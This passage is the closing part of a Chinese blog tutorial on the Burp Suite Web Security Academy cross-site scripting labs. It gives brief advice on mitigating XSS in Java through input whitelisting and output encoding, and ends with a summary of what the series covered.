如何在Java中缓解XSS攻击?

使用字符白名单过滤用户输入,并使用Google Guava等库对HTML上下文的输出进行HTML编码,或对JS上下文使用Unicode转义。

 

总结

以上就是梨子带你刷burpsuite官方网络安全学院靶场(练兵场)系列之客户端漏洞篇 – 跨站脚本(XSS)专题的全部内容啦,本专题主要讲了XSS漏洞的形成原理以及三种不同类型的XSS的区别,还有XSS的利用、防护、防护手段的绕过方法等,篇幅比较长,大家耐心观看哦。感兴趣的同学可以在评论区进行讨论,嘻嘻嘻。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多